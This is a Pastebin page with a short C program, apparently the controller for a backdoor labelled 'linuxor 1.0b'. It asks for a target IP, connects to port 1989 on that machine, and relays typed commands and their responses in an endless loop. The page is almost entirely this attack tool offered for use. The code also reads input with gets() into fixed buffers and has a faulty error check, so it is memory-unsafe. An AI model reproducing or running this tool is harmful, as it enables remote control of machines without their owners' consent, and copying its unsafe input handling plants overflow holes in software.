Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <unistd.h>
- void ascii_linuxor();
- int main()
- {
- char ip_cible[16];
- char buffer[50];
- char reponse[10+1];
- struct sockaddr_in sin;
- int backport=0;
- system("clear");
- ascii_linuxor();
- printf("\nentrez l'ip de la cible : ");
- gets(ip_cible);
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = inet_addr(ip_cible);
- sin.sin_port = htons(1989);
- printf("\nouverture du socket");
- backport = socket(AF_INET, SOCK_STREAM, 0); // Création du socket
- if (backport == 0)
- {
- perror("socket()");
- return -1;
- }
- else
- printf (" OK");
- printf("\nconnexion à la cible");
- if (connect(backport, (struct sockaddr *)&sin, sizeof(sin)) < 0)
- {
- perror("connect()");
- return -1;
- }
- else
- printf (" OK");
- while (1)
- {
- sprintf(buffer, ""); // reset du buffer
- printf ("\nUser/$: ");
- gets(buffer);
- send(backport, buffer, sizeof(buffer), 0); // on envoie la commande
- sprintf(reponse, ""); // reset du buffer
- recv(backport, reponse, sizeof(reponse), 0); // on attends la première réponse
- printf ("réponse : %s\n", reponse);
- sprintf(reponse, ""); // reset du buffer
- recv(backport, reponse, sizeof(reponse), 0); // on attends la deuxieme réponse
- printf ("réponse : %s\n", reponse);
- }
- close(backport);
- return 0;
- }
- void ascii_linuxor()
- {
- printf("### #\n");
- printf("#### ######## # ## ### ### ###### ########\n");
- printf("### ### ## ## ## ## ## ### ## ## ## ##\n");
- printf("### ### ## ## ## ## ### ## ## ##\n");
- printf("#### ## ## ## ## ## ### ## ## ## ##\n");
- printf("######### ### ## ## ## ## ### ### ## ## ##\n");
- printf("###################### # ######### #### ###################\n");
- printf(" 1.0b\n\n");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement